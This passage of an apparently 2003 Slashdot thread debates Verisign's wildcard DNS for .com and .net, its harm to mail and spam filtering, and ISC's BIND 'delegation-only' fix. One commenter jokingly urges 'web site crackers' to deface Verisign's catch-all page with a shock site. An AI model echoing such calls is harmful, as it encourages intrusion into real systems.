      I don't know the meaning of the word 'don't' - J
    4. Re:ISPs Will Soon Send You To Their Own Site by Shimbo · · Score: 1

      We need an RFC stating that this is not permissable.

      And they will follow it because...?


      Hopefully because their agreement with ICANN requires compliance with agreed standards. At the moment, Verisign are arguing that because it isn't explicitly forbidden then it must be OK.

      That's a reasonable POV, even if most of us disagree; however, introducing it without due notice and consultation was grossly irresponsible.

    5. Re:ISPs Will Soon Send You To Their Own Site by Durzel · · Score: 1

      This is a very valid point.

      The danger with what Verisign has done is not only limited to SPAM filtering, etc but also in corporate thinking.

      I have seen a number of ISPs that have already started subtituting Verisign's wildcard unregistered domain catcher with their own branded page, often disparaging Verisign's stance. However, whilst at the moment these pages and the motivation for creating them are altruistic - I would be surprised if a number of ISPs don't suddenly recognise this as a viable revenue stream (e.g. redirecting customers to a branded search engine, or "Customers who purchased leased lines also bought..", etc

      We could find a number of ISPs adopt this wildcard scheme now that Verisign have shown the way.

    6. Re:ISPs Will Soon Send You To Their Own Site by soccerisgod · · Score: 1

      Nice thinking, but RFCs are not laws (yet), so that won't stop them. In fact I'm led to believe many ISP employees don't even know what an RFC is :(

      --
      If a train station is a place where a train stops, what's a workstation?
    7. Re:ISPs Will Soon Send You To Their Own Site by miu · · Score: 1
      We need an RFC stating that this is not permissable.

      Depending on how an ISP achieves the redirect it may already violate published RFCs. An ISP doing redirection in the same way as Verisign would be violating 2308 (the RFC that brought us NXDOMAIN). If the redirection is accomplished with a proxy or layer4 switch then the action would be valid. An informational RFC saying "don't do that" would rightly be ignored by everyone.

      --

      [Set Cain on fire and steal his lute.]
    8. Re:ISPs Will Soon Send You To Their Own Site by Anonymous Coward · · Score: 0

      do not forget my favorite iso9000. Oh we have plenty of things to follow SEE... Dont follow it no iso...

    9. Re:ISPs Will Soon Send You To Their Own Site by lamber45 · · Score: 1

      Even before Verisign did this, all the recent browsers had a 'search on mispelling' feature on the address bar -- IE (MSN), Mozilla (Google), Netscape 6 (Netscape.com). VeriSign just wanted to jump into the market, and now other ISPs will follow suit.

  31. Re:could NOT care less you idiot by Anonymous Coward · · Score: 0, Funny
    whereas "MAC" is a unique number found in network cards.

    Don't you mean a M.A.C.? :^P

  32. Who cares? by SuperBanana · · Score: 2, Funny

    I for one welcome our new DNS overlords! All our domain name are belong to THEM! Mwuhahahaha...

  33. Link rotation? by 192939495969798999 · · Score: 3, Interesting

    Maybe if a misspelled URL went to a random other URL, it might be OK, but using that page to advertise for a particular company's profit, regardless of the URL, seems really bad. I would much prefer to have a "not found" message, since that's really what's happened. Can you imagine if this happened while driving? Anytime you turn down the wrong street, the same ad came on the radio or something like that? It seems positively Orwellian.

    --
    stuff |
    1. Re:Link rotation? by Anonymous Coward · · Score: 1, Funny

      It would be more like covering up a "Dead End" sign with an advertisement to turn left for a burger joint.

  34. "couldn't care less" by Gordonjcp · · Score: 0

    "Could care less" implies you care at least to some degree.

    1. Re:"couldn't care less" by Horny+Smurf · · Score: 1
      'I could care less' is usually accompanied by a load of sarcasm.


      But I'm sure a genius like yourself already knew that!!!!

    2. Re:"couldn't care less" by cetan · · Score: 0, Offtopic

      Wrong again.
      Maybe at one time, way back when the English language was first being developed, but that argument is now a load of dingos kidneys.

      Cliches are especially prone to scrambling because they become meaningless through overuse. In this case an expression which originally meant "it would be impossible for me to care less than I do because I do not care at all" is rendered senseless by being transformed into the now-common "I could care less." Think about it: if you could care less, that means you care some. The original already drips sarcasm, so it's pointless to argue that the newer version is "ironic." People who misuse this phrase are just being careless.

      --
      In Soviet Russia...michael would be rotting in Siberia!
    3. Re:"couldn't care less" by MCZapf · · Score: 1
      Yeah, right. No offense, but that's a pretty feeble explanation. Whenever I hear someone say, "I could care less," he/she uses the same inflection and tone one would use with "I couldn't care less."

      It's fairly obvious from this, and the mangling of other common sayings into less-than-sensical phrases, that many people do not think carefully about what they are saying - not down to the level of individual words, anyway.

      I'm not complaining, just observing. In the end, I still know what they mean to be saying.

    4. Re:"couldn't care less" by connorbd · · Score: 1

      The proof is in the pudding.

      No, really. Bacardi 151.

  35. It's a trick... by mseeger · · Score: 5, Funny
    Hi,

    this is just a trick. They just want to get rid of all those obsolete BIND-versions out in the internet.

    So they did this to goat all admins into patching their bind.

    Tricky they are...

    Regards, Martin

    1. Re:It's a trick... by TheMidget · · Score: 1
      So they did this to goat all admins into patching their bind.

      This gives me an idea:

      iptables -t nat -I PREROUTING -d 64.94.110.11 -j DNAT --to-destination 198.247.175.96

      Nope, doesn't work, I just get a boring "hosted by hick" page :-(

    2. Re:It's a trick... by Anonymous Coward · · Score: 0

      add the /goat for full effect...

      hick.org/goat

  36. How it works by Iphtashu+Fitz · · Score: 1

    ISC has already released the patch. It's available at http://www.isc.org/products/BIND/delegation-only.h tml. What it does is let you specify any zone (ie. domain) whereby the server will filter out any wildcards from the authoratitive server.

  37. Has anyone.. by MImeKillEr · · Score: 0

    ..actually typed a wrong address and seen what Verisign is throwing up?

    I just did. I don't see what the fuss is.

    --
    Cruising the internet on my TI-99/4A @ a whopping 300 baud!
    1. Re:Has anyone.. by Oddly_Drac · · Score: 4, Insightful

      "I just did. I don't see what the fuss is."

      Ah. Bless. Cuddle up nice and warm.

      Verisign is the root domain authority. This is them overstepping bounds and trying to get into the search engine game, something which is 'forbidden' by ICANN. They're farming information that comes in, and if you'd read the handy terms and conditions, you'd notice some real oddity.

      So, you type in a mispelled URL...what if your competitor is in their database but you aren't? Furthermore, what if they get the domain wrong? Verisign only has .net and .com and there's a world of other TLDs out there.

      Then there's the email angle. They're running an MTA that barfs after the 550 for 'From: '. So they're grabbing 'legitimate' email addresses. Trust verisign? As a 'trusted' third party for certificate signing, they're supposed to remain impartial to a certain degree, except they're pushing webservices.

      --
      Oddly Draconis
      Too cynical to live, too stubborn to die.
    2. Re:Has anyone.. by MenTaLguY · · Score: 1

      Verisign is the root domain authority. This is them overstepping bounds and trying to get into the search engine game, something which is 'forbidden' by ICANN.

      Somehow I doubt ICANN really cares that much. I really wonder why more people haven't mentioned OpenNIC (an alternate root authority) yet...

      I've been using OpenNIC for a long time, and I would have been completely oblivious to this Verisign silliness if I hadn't read about it on /.

      I think the only downside to OpenNIC at this point is that they have different .biz domains (they had them before ICANN created them, and the members voted to keep their own rather than adopting ICANN's -- yes, OpenNIC is a democracy, too).

      --

      DNA just wants to be free...
  38. Lot of fuss about nothing by heironymouscoward · · Score: 0, Troll

    MSIE has been doing this for ages, and I never found it to be a problem, but rather more helpful than the old "404 Not found" messages we used to see.

    So Verisign have found a portable way to slice Microsoft's little niche away, and gain some advertising. So what? You type junk into an URL and you expect a civilized answer?

    Actually typing URLs is an anachronism in the linked reality of the web. C'mon, my home page is our local wiki, and all the sites I access frequently are bookmarked as little icons.

    What, again, is the problem here, apart from the fact that Verisign is a hateable entity who seem destined to simply annoy everyone they deal with.

    --
    Ceci n'est pas une signature
    1. Re:Lot of fuss about nothing by Anonymous Coward · · Score: 5, Informative

      We're not talking about you and your little web browser, we're talking about a major network provider breaking an important network infastructure component in a way which has already started to cause havoc across the internet. At the moment, the server they are using as a catch all is not responding to connections, which means that there "clever" solution to handle mis-directed email doesn't work. As a consequence, mis-directed mail has already started to pill up in mail queues while mail servers waste their time trying to contact the Verisign server.

      Other services are also shit out of luck; Verisign only allowed for HTTP and SMTP. Anything else trying to connect to a non-existent domain is out of luck and will sit around until the connection timesout. Of course, if the server had just returned NXDOMAIN in the first place, as it should, you wouldn't have that problem.

    2. Re:Lot of fuss about nothing by Zerikai · · Score: 0

      That's a bad troll.

      Or maybe you really are too thick to understand what everyone else has been posting?

      Examples
    3. Re:Lot of fuss about nothing by turg · · Score: 1
      • With MS, you have a choice whether or not to use their product -- VS is the sole operator of the registry
      • MS allows you to turn off this feature
      • MS is just at the browser level. This is the biggest problem with what VS has done: they've broken the DNS system, part of the underlying structure of the Internet. If they could redirect web browsers without this, it wouldn't be such a big deal, but changing the DNS system so that it no longer indicates when a domain doesn't exist breaks every application on the 'net.
      --
      <sig>Guvf vf abg n frperg zrffntr
    4. Re:Lot of fuss about nothing by interiot · · Score: 1
      The problem (for one) is that there are a lot of other programs than just web browsers using these name lookups (eg. the several examples mentioned in this story and last, spam detection and backup mail servers).

      Also, people have to actively take technical countermeasures to stop this. With MSIE you at least have a choice as to whether you use it. Microsoft at least gave away for free something they paid developers for, Verisign was given this power by the US government and decided to abuse that gift.

      Also, given Verisign's attitude towards the importance of internet standards vs. profit, who's to say their next hack won't be much harder to find a technical solution for?

    5. Re:Lot of fuss about nothing by colinleroy · · Score: 0

      "404 not found" is a very different error than "NXDOMAIN" (domain does not exist).

      --
      blah
    6. Re:Lot of fuss about nothing by Felinoid · · Score: 2, Informative

      What your not aware of is that about the same time Microsoft inserted it's own "helpful" page instead of what the remote server sent web admin realised the value of using the servers own internal feature of sending a more helpful page.

      The internal 404 usually is some sort of program to track down and redirect you to where you should be so instead of saying "This page no longer exists" it's saying "Hay maybe you want THIS page instead."

      Also read the 404 page more carefully. If something has gone wrong with the website your given contact information (presumming the web admin did his job and put the admin contact e-mail into the server) in the 404 message so that you can contact the person or persons responsable for maintanence and tell them what went wrong.

      But again you won't get that contact information under Microsoft Windows IE "helpful" page.

      That page is IEs best guess as to what happend and being familure with the Internet I'm usually aware of what is wrong and what is really going on and quite frankly IE has yet to guess the real cause of the 404 message.

      However the big diffrence between Microsoft IEs replacement "Hay quit complaining I'm only trying to help" and Verisons search website is that IE is on YOUR computer and if you don't like how IE works download Netscape, Opra, Mozilla or one of the many other web browsers that are out there and you get the REAL 404 message but Verison is basicly changing the Internet inferstructure to do this so we all get screwed reguardless of the programs and os we use.

      --
      I don't actually exist.
    7. Re:Lot of fuss about nothing by j7953 · · Score: 4, Informative
      MSIE has been doing this for ages, and I never found it to be a problem, but rather more helpful than the old "404 Not found" messages we used to see.

      You don't get to see a "404 No Found" response if the server doesn't even exist. You'd usually get an error message (generated by IE) that says something like "www.invaliddomain.com doesn't exist." (that's what Mozilla displays, I don't know IE's message).

      The 404 response is what you get when your browser could send a HTTP request to the web server, but the server couldn't find the page you were requesting. The response page is generated by the web server, so how helpful it is depends on what the web server admins have configured. Some pages will not simply return an error message but also include a search box, for example.

      You type junk into an URL and you expect a civilized answer?

      Well, yes, I expect a somewhat helpful error message. But that's not actually the point. The main problem with Verisign's move is that they are assuming (like you seem to do) that the purpose of the Domain Name System is to find the web server that a user is trying to contact when he types an URL into his browser. But DNS isn't used for the web only, it is used to associate names with IP addresses. You can then use the returned IP address for whatever protocol you want, DNS doesn't tell you whether or not the server with the returned IP supports that protocol.

      For all protocols that run non-interactively (i.e. without a human sitting in front of the computer and interactively deciding what server should be contacted next, and interpreting the responses), Verisign's action means that if contacting a remote system fails, the computer can now no longer find out if it's due to a misconfiguration and will likely never work (if the other computer doesn't exist), or if it's just a temporary problem (if the other computer does exist but does not respond).

      --
      Sig (appended to the end of comments I post, 54 chars)
    8. Re:Lot of fuss about nothing by heironymouscoward · · Score: 2, Interesting

      OK, bad form to reply to my own post, but it was a serious question, not a troll.

      Granted this breaks a lot of systems that depended on getting error results for failed lookups. So, now they will have to check for 64.94.110.11. Not nice.

      But as much as I dislike monopolists and their heavy-handed ways, the arguments against this action seem a little weak.

      One guy complains that his printer no longer works because previously, his network configuration depended on failing to resolve some addresses in order to route the request internally.

      Another person mentions that anti-spam checks based on domain names will fail. So, this is a valid check for spam? Oh, I thought spammers simply spoofed the originating host, which is why I get hundred of "returned" messages I never sent.

      Someone else complains that it's an abuse of powers given to Verisign by the government. OK... but so is 75% of business. It's a tough life, yeah.

      Seriously, I'm not trolling: I'm trying to understand what the actual technical problem is. How can any system rely on the absence of something? How can a "not resolved" error actually be more useful than a resolution to an IP address that does nothing useful?

      --
      Ceci n'est pas une signature
    9. Re:Lot of fuss about nothing by Anonymous Coward · · Score: 0

      Hey, /. -- WHBT. WHL.

    10. Re:Lot of fuss about nothing by heironymouscoward · · Score: 1

      ...[the] computer can now no longer find out if it's due to a misconfiguration...or if it's just a temporary problem (if the other computer does exist but does not respond).

      It's so trivial to do this that I'm almost embarassed to have to say it:

      verishit = lookup_address ("verishit" & longrandomnumber & ".com)
      if lookup_address (realhost) = verishit
      then you know it's not there

      What is the big deal? Since when can't software can't handle bizarre and arbitrary external conditions? Sure, it's been so long that the Internet appears to be entirely fixed in stone, but that is why we have what we call, in the jargon, "soft-ware main-ten-ance".

      --
      Ceci n'est pas une signature
    11. Re:Lot of fuss about nothing by vidarh · · Score: 1

      All they currently need to do is ask for SOA or NS records instead of A records, and fail if they don't get SOA or NS records, or if they get a failure when asking the delegated server (when there is one)

    12. Re:Lot of fuss about nothing by Qzukk · · Score: 1

      MSIE has been doing this for ages, and I never found it to be a problem, but rather more helpful than the old "404 Not found" messages we used to see

      This is why MS gets to claim that the MSN search is the most popular search in the world.

      Of course, my own experience with IE is that MS must be pumping up their stats by having IE make up whatever fake excuse it can to not be able to find the hostname you have entered. I know my computer here at work has told me several times that slashdot.org didn't exist and gave me the MSN search page. I can usually reload the page and it goes straight there the second time.

      BTW, you forget that DNS is also used for email. Suddenly "mytypingsucks@hotmal.com" can actually attempt to be delivered. How much is that going to suck, having to wait days for a "can't reach this server" bounce message to let you know your typing sucks? (and thats if verisign doesn't send you back a helpful "mytypingsucks is not a user here" error message (without the fact that "here" isn't where you intended to be.)

      --
      If I have been able to see further than others, it is because I bought a pair of binoculars.
    13. Re:Lot of fuss about nothing by Rich0 · · Score: 3, Insightful

      but that is why we have what we call, in the jargon, "soft-ware main-ten-ance"

      And the reason that we have standards bodies is so that we don't have to do "soft-ware main-ten-ance" three times a week every time somebody on a hunch decides to break the standard. Suppose AOL decided BGP isn't a good protocol and starts broadcasting AOLBGP instead - which looks like BGP to a BGP-speaking router but isn't, and is misinterpreted to cause all their routes to get scrambled. Suppose somebody has a backup MX record which doesn't get consulted because the primary is down and Verisign unhelpfully reports that it still exists and accepts but does not deliver the email. Ditto for 100 other protocols other that http.

      What if the company contracted to do road-work decided that roads are an inefficient technology and decided to go ahead and replace them with rails instead. No problem, you just need to do a little car main-ten-ance...

    14. Re:Lot of fuss about nothing by Anonymous Coward · · Score: 2, Insightful

      Why should all our existing software have to be rewritten because Verisign screwed over the internet?

    15. Re:Lot of fuss about nothing by Anonymous Coward · · Score: 0

      How can any system rely on the absence of something?
      Just how stupid are you? How else should software detect and handle errors? Well now, we can't detect the errors so forget about handling them. Forget about graceful fallbacks, forget about routing round failures.

    16. Re:Lot of fuss about nothing by MrMickS · · Score: 1
      Another person mentions that anti-spam checks based on domain names will fail. So, this is a valid check for spam? Oh, I thought spammers simply spoofed the originating host, which is why I get hundred of "returned" messages I never sent.
      It's not as simple as that. Spammers use a wide variety of methods when sending out spam. Made up source addresses is one of them. Looking at my reject log I'd put it at around 10% of the spam I detect being caught in this way. So yes it's useful.
      Someone else complains that it's an abuse of powers given to Verisign by the government. OK... but so is 75% of business. It's a tough life, yeah.
      95% of statistics are made up, including this one. Just because someone else doesn't obey the rules doesn't give VeriSign the right to do this. There are now many registrars that manage the .com and .net zones this is making use of a historic position to gain an unfair advantage in the marketplace.
      How can a "not resolved" error actually be more useful than a resolution to an IP address that does nothing useful?
      Read the page and you'll find information about the SMTP 'solution' that VeriSign has implemented and the impact that is beginning to have around the world; backed up mail queues as VeriSign can't handle the load etc.

      Put simply the technical problem is this: Since .com, .net etc have been around there hasn't been a wildcard DNS entry. This is the case for the majority of other TLDs and SLDs like .co.uk, .com.au etc. The software implementations of various protocols have taken this into account. A sudden change in the rules can have an unknown impact on the internet in general.

      --
      You may think me a tired, old, cynic. I'd have to disagree about the tired bit.
    17. Re:Lot of fuss about nothing by heironymouscoward · · Score: 1

      The fact that .com,.net,.org have no wildcard entry is surely just an implementation detail. Sure, it's been this way for a long time.

      But you are saying there is a rule that disallows wild-card entries? This breaks an RFC somewhere? So, the wildcard entries on many TLDs such as .nu, .to, .tv, etc. are illegal as well?

      Come on, this is not a sustainable argument. Yes, Verisgn have broken something. No, it's not religious law, just a convention we all forgot about.

      --
      Ceci n'est pas une signature
    18. Re:Lot of fuss about nothing by sfriedrich · · Score: 2, Informative

      No kidding! Now if you ping fartsnuggle.com it just sits and waits for the timeout, but if you ping fartsnuggle.org you get an immediate proper response of "ping: unknown host fartsnuggle.org"

    19. Re:Lot of fuss about nothing by MrMickS · · Score: 1
      The fact that .com,.net,.org have no wildcard entry is surely just an implementation detail. Sure, it's been this way for a long time.

      But you are saying there is a rule that disallows wild-card entries? This breaks an RFC somewhere? So, the wildcard entries on many TLDs such as .nu, .to, .tv, etc. are illegal as well?

      Come on, this is not a sustainable argument. Yes, Verisgn have broken something. No, it's not religious law, just a convention we all forgot about.

      No there is no rule, it's not written in an RFC, yes other (smaller) TLDs do have wildcard entries. It is just a (very) long standing convention.

      By making a unilateral change to something that, although they have the technical ability to do, they don't have the right to do, VeriSign have caused technical problems. The SMTP problem is a specific technical problem that has raised it's head now, others may (or may not) appear in the following days/weeks.

      In your previous message you said:

      Seriously, I'm not trolling: I'm trying to understand what the actual technical problem is. How can any system rely on the absence of something? How can a "not resolved" error actually be more useful than a resolution to an IP address that does nothing useful?
      I tried to honestly answer your request, picking out each point in turn, and what did I get in return? A good old USENET flame. Oh well, some conventions (reply not want I wanted = flame) never die ;)
      --
      You may think me a tired, old, cynic. I'd have to disagree about the tired bit.
    20. Re:Lot of fuss about nothing by Anonymous Coward · · Score: 0

      And standards bodies are helping reduce Microsoft patching 3+ times a week in WHAT way?

    21. Re:Lot of fuss about nothing by DavidTC · · Score: 1
      Excellent point. It's fairly easy to set up mail servers to DNS lookup the recipient when they get handed the email message. This obviously doesn't do anything for other MTAs handing them mail, but when a user mistypes a domain, and attempts to send it, they will get an immediate error, instead of it having to cycle through the queue.

      Now, granted, this isn't the greatest idea in the world...that other domain's DNS might just be down, in which case the optimal solution might be to accept it anyway and queue it...but, OTOH, then the user won't know what's going on. Rejecting it and letting the client retry is a valid configuration.

      Or, at least, it used to be.

      --
      If corporations are people, aren't stockholders guilty of slavery?
    22. Re:Lot of fuss about nothing by tschodt · · Score: 1

      MSIE has been doing this for ages

      Why do you think more and more techies are switching to mozilla?

    23. Re:Lot of fuss about nothing by Alsee · · Score: 1

      Now if you ping fartsnuggle.com it just sits and waits for the timeout

      Aw crap, my webserver must be down again. Thanks for the heads-up! I'll try to get the server back up ASAP, so try pinging again later.

      Snuggly-soft!

      -

      --
      - - You can't take something off the Internet! That's like trying to take pee out of a swimming pool.
    24. Re:Lot of fuss about nothing by Anonymous Coward · · Score: 0

      There is a difference between no answer (DNS server down) and a negative answer (NXDOMAIN).

      Most mail servers will retry if they get no answer, and send back a note ('Your mail in not yet delivered, I'll try again').

      On the other hand, NXDOMAIN is a reply from the DNS server and means, the name does not exist, so there is no sense to try angain.

    25. Re:Lot of fuss about nothing by len_harms · · Score: 1

      Not only that it TRIES to ping that site. How much crap are they going to get till they undo it. This will only last till they get the BW bill. Whoever owns their lines is probably like "YESSSSS". Because they are going to be getting a serious amount of traffic.

      I think a major provider just figured out a way to DOS itself! Its annoying sure. But it MUST be hella expensive. So not only are they paying for the goofie request. They will also be paying to show you some goofie web site (maybe). But also paying for any bogus traffic that comes in for OTHER services. So instead of bad requests being dropped at the client level (which scales much better), they are being dropped at the server level (which will not scale).

      So BASICLY they want to pay for people who spell bad. Good for them. Needed someone to fund my missadventures in misspelling.

  39. Sign the online petition to get ICANN into action by Anonymous Coward · · Score: 5, Interesting

    ICANN might be able to force VeriSign to get this off the net
    http://www.petitiononline.com/icanndns/

  40. Have your say by turg · · Score: 4, Interesting

    Is Stratton D. Sclavos doing a good job as CEO of Verisign? Vote yes or no in this Forbes.com poll.

    Also, here's a petition that may also be of interest.

    --
    <sig>Guvf vf abg n frperg zrffntr
    1. Re:Have your say by EnglishTim · · Score: 1

      89% Say he's doing a bad job... Keep up the good work! ;-)

    2. Re:Have your say by abulafia · · Score: 1

      Erm, the current poll is for Mitch Kaplan, of Etrade...

      --
      I forget what 8 was for.
    3. Re:Have your say by turg · · Score: 3, Informative

      Scroll down, there are multiple polls on the same page.

      --
      <sig>Guvf vf abg n frperg zrffntr
    4. Re:Have your say by character+sequence · · Score: 1
      Unfortunately, this guy (Stratton D. Sclavos) probably takes public hatred as a sign that he's doing a good job for the share holders. He's laughing all the way to the bank.

      There's no such thing as bad publicity.

      --
      Karma: Nonnegative
    5. Re:Have your say by Alsee · · Score: 1

      Ok, so where's the Forbes page to vote on SCO's CEO Daryl McBride?

      -

      --
      - - You can't take something off the Internet! That's like trying to take pee out of a swimming pool.
    6. Re:Have your say by WTFRUDOINBiotch · · Score: 1
      Sweet.
      Do you approve of the job these CEOs are doing?
      Stratton D. Sclavos - Verisign

      Yes - 125 votes (6%)

      No - 1953 votes (94%)
      --
      Make money with Real Estate Investing
  41. Goats.cx by tonywestonuk · · Score: 1, Funny

    Ok, web site crackers.... First group to change Verisigns cach all to point to Goats.cx!! Marks.... Get set.... GO! Tony. Buy 3 Long life LED keychains from me, for just 5. Thanks. http://cgi.ebay.co.uk/ws/eBayISAPI.dll?ViewItem&it em=3046991996&category=294

  42. Re:Sqatting by simcop2387 · · Score: 1

    i think its a bit different when they tell you the domain is avaiable, and dont run a mail server, etc. rather than advertise to people about verisign

  43. netfilter? by ananiasanom · · Score: 1

    That site also talks about a netfilter solution, but don't give much detail. Does their tar.bz provide firewall rules to clean up DNS replies as they come in?

  44. But for how long by Alien+Conspiracy · · Score: 4, Interesting

    They don't state if it's simply blocking the well-known IP of SiteFinder or doing something cleverer.

    How long till they change the IP/round-robin it?

    I noticed the wildcard domain does not generate an SOA record so that may be a better detection mechanism, but maybe it will break existing misconfigured sites?

    In any case, Verisign can always come up with new scams to make the record look more authentic.

    The only long-term solution is to move to a different host, which would be really hard to arrange collectively.

    1. Re:But for how long by interiot · · Score: 2, Informative

      Here is the documentation for the patch. They don't hardcode an IP, they just have a way to say that wildcards records don't necessarily have to work everywhere. eg. you can say that "*.foobar.com => 1.2.3.4" but you can't say that "*.com => 64.94.110.11".

    2. Re:But for how long by Zocalo · · Score: 1
      but maybe it will break existing misconfigured sites?

      Perhaps, but whose fault is it that those sites are misconfigured? If this forces a few admin to experience difficulties and either correct typos or learn how to do something properly, then the Internet will be better for it.

      I'll be having a play around with the patch this evening, but from what I've seen of the patch and the notes so far it looks good. I'm still working through some things, but it looks like a fairly robust way of preventing wildcarding at TLD level without causing problems for anyone except people at Verislime expecting to make a stack of cash. Good work ISC!

      --
      UNIX? They're not even circumcised! Savages!
    3. Re:But for how long by Anonymous Coward · · Score: 0
      It wouldn't be that hard to change to a different host: all you need are eight or so top-level domain servers scattered around the world - I'm sure /. could come up with suitable sites - which are configured to treat all queries as recursive, and (a bit of hand-waving here) discard replies which point at Verisign sites.

      This would have the useful side effect that one could create new top-level domains without having to go through all the ICANN nonsense.

      End users usually use their ISP's DNS. It might be tricky to pursuade an ISP to change their root zones info, but no matter: end users can configure their own DNS settings to point at a willing nearby /. community secondary.

      It wouldn't be hard to write a program that a user could run to modify their settings appropriately: 'click here if you want to visit sites in the .foo domain'.

      Users stuck behind a corporate proxy might be a bit more tricky, admittedly.

    4. Re:But for how long by vidarh · · Score: 1
      How will this help? Verisign is hardly going to be running installing that software on the .com DNS servers, now, are they? And if another server tries to look up a .com name, it will first either ask the root servers for the "com" servers or pull it from a cache. It will then ask the .com DNS servers for "some-nonexistant-name.com", and the .com DNS server will happily give it the A record in question back.

      From the point of view of the clients resolver, wildcard records doesn't exist.

    5. Re:But for how long by vidarh · · Score: 2, Insightful
      Ah, after reading your documentation, I realised that the explanation you give is wrong.

      What the patch does is saying that if I query server Foo, running this version of Bind, and Foo has to go and ask Bar about it, Foo will only consider delegation data from Bar, not other resources.

      So if Bar sends NS and SOA records back, all is well, and Foo happily tries to ask the delegated servers to resolve the name. If Bar sends an A record back, Foo will ignore it, and report a failure to the client.

      Problem with this is that if it gets widespread, Verisign might decide to serve these A records from other nameservers and add SOA and NS records for all the unregistered names as well, essentially fully delegating the names.

      The end result of that would be even more bandwidth wasted.

    6. Re:But for how long by Zapman · · Score: 1

      No. Not at all. The work around is pretty clever actually. Pretend that you're random IP at company, configured to use your companies DNS server.

      If you request your nameserver to look up misspelledgoogle.com, said DNS server, with this patch, will queries the roots, who give an NS record for .com. Verisign's .com NS servers will try to give back an A record due to this wildcard thing.

      Your companies DNS server won't accept that A record from .com because .com (and .net) has been declared a 'delegation-only' domain. That means that the .com name servers will only be allowed to return NS records. If they return something else, your companies DNS server will respond to you with an NXDOMAIN error (just like it should for a 'no such domain').

      --
      Zapman
    7. Re:But for how long by Todd+Knarr · · Score: 1

      The problem with that delegation scheme is that while you can add wildcard records to a zone, IIRC there's no way to do wildcard delegation in BIND. To make it work Verisign would have to either add real delegation records for every possible domain name to the .com and .net zones (infeasible) or modify BIND and convince all the non-Verisign people who run the actual root nameservers to install that modified BIND. At least one of the roots is run by ISC itself, and I don't see them obliging Verisign that way. As long as at least some of the roots don't run the modified software, I just edit named.ca to remove Verisign's servers and I'm back to normal.

    8. Re:But for how long by jafiwam · · Score: 1

      ... at which point any Trademarked name (pick one, the mouse, the soda, the car, etc.) will resolve to an authoritative server run by Verisign, which sends the user to a web site not affiliated with the Trademark owner...

      Litigation ensues!

      Of course you are right, but the first step has to be taken anyway...

    9. Re:But for how long by Anonymous Coward · · Score: 0

      But what if the company DNS server was setup to "forward first" to the ISP DNS server?
      I think it won't work in that case.

    10. Re:But for how long by scrytch · · Score: 1

      > How long till they change the IP/round-robin it?

      With the ISC patch, it simply doesn't matter. It's not blocking a specific IP address, it just doesn't trust any records from the root servers for the TLD except for NS records. Might be possible Verisign could tweak it to return NS records, which would cause an even greater breakage, in which case the fix could simply be widened to their whole netblock. It's not like they can pick any IP address, they're just like any other netizen that way.

      --
      I've finally had it: until slashdot gets article moderation, I am not coming back.
  45. Opps.... Forgot to preview! by tonywestonuk · · Score: 1

    Ok, web site crackers....
    First group to change Verisigns cach all to point to Goats.cx!! Marks.... Get set.... GO!

    Tony.


    Buy 3 Long life LED keychains from me, for just 5 pounds. Thanks.

  46. Re:Sqatting by Anonymous Coward · · Score: 0

    Is it a TLD used by spammers ? If so, do ISPs block all the nu TLD ? If not, I'm surprised spammers didn't discover and use this.

  47. Re:Is a Technology solution ALWAYS better than law by Hektor_Troy · · Score: 1

    Hey - they paid good money for the right to do this. Why shouldn't they be allowed to do so?

    I mean, if some company paid good money to police my town, and they arrested or refused to arret whomever they wanted, I wouldn't complain. After all - they paid for the right to do so.

    --
    We do not live in the 21st century. We live in the 20 second century.
  48. I am glad you're not patching by Anonymous Coward · · Score: 2, Informative

    Were I coding this patch, for example, the IPs for which to return NXDOMAIN would be specified in a config.

    And what good would that do? If VeriSlime changes the ip hourly, you'd have to edit the config file hourly: bwilliant patching Holmes.

    I prefer the patch as it will be supplied by the ISC: Patch bind and add the following snippet to named.conf:

    zone "com" { type delegation-only; };
    zone "net" { type delegation-only; };

    Tada. Let VeriSlime work around *that*.

    1. Re:I am glad you're not patching by TheMidget · · Score: 1
      Let VeriSlime work around *that*.

      Easy. If user queries for www.bush-is-a-baby-eater.com, reply NXDOMAIN. User's nameserver will then query for the NS of bush-is-a-baby-eater.com. Here, respond with a special NS that just has a single A record for www, and which points to sitefinder. In a word: wildcard NS delegation!

    2. Re:I am glad you're not patching by mccalli · · Score: 4, Funny
      Yes, strangely enough those who dedicate their lives to network adminning and writing BIND in the first place came up with a better patch than I managed to in the ten seconds it took to reply to a Slashdot post.

      You'll forgive me if I don't exactly hang my head in shame.

      Cheers,
      Ian

    3. Re:I am glad you're not patching by shayne321 · · Score: 1
      Then add whatever name server(s) they're using as lame-servers in your named.conf and your problem is solved again.

      Shayne

      --
      Today I didn't even have to use my AK; I got to say it was a good day -- Icecube
  49. Re:Sqatting by Anonymous Coward · · Score: 0

    The problem is that whatevercrap.nu is alive DNS-wise, so you can't really use DNS responses as a spam filtering tool. That's the main reason of ISPs being pissed of by the verisign move (you can't ban all the .COM TLD incoming mail). .NU TLD maintainer use the same trick, hence the same problem about spam detection is present.

  50. use their T&C against them... by Anonymous Coward · · Score: 5, Interesting

    as suggested by Abby Patel at http://www.theregister.co.uk/content/6/32872.html

    However, it seems that the T&C's might help us to stop this abuse. If you do not agree to the T&C's the only option they have is to not redirect your netblock to their site. So, give them a call on 0800-032-2101, select 2 to speak to their support department and once you get a human, tell them that you don't agree to their T&C's and can they remove your netblocks!

    So lets /. them and see how many netblocks they end up excluding.

    1. Re:use their T&C against them... by kindbud · · Score: 1

      I saw that post on NANOG. But it isn't a valid US toll-free number. What is the US phone number to reach these Verisign engineers who can place you in their netblock blacklist?

      --
      Edith Keeler Must Die
    2. Re:use their T&C against them... by Anonymous Coward · · Score: 1, Informative

      See http://www.verisign.com/corporate/about/contact/in dex.html

      for plenty of toll-free (in US) contact numbers.

  51. Re:could NOT care less you idiot by fyonn · · Score: 1

    What irritates me more is when people refer to junk email as "SPAM" instead of "spam"

    actually, isn't that part of hormel's deal? we can continue to call UBE (insert full stops as required) SPAM as long as we capitalise it and they won't complain or try to sue anyone over dilution of trademark etc. (ie as spam is actually a product they sell).

    I had a quick squizz at their website to find that link but I couldn't immediately see it.

    dave

  52. Sounds great by CausticWindow · · Score: 1

    But what if two different fractions decide to do this at once? Will we get a new, much more serious, EFNet split?

    And who is going to pay? How do you distribute the cost?

    --
    How small a thought it takes to fill a whole life
    1. Re:Sounds great by Anonymous Coward · · Score: 0

      It'd be best if an internet standards organisation designated the new root server, like the W3C or ISOC (or even better, both).

      If they pushed an alternative I'm pretty sure it would get accepted. Everyone is tired of ICANN and Verisign.

    2. Re:Sounds great by jdavidb · · Score: 3, Interesting

      Good questions.

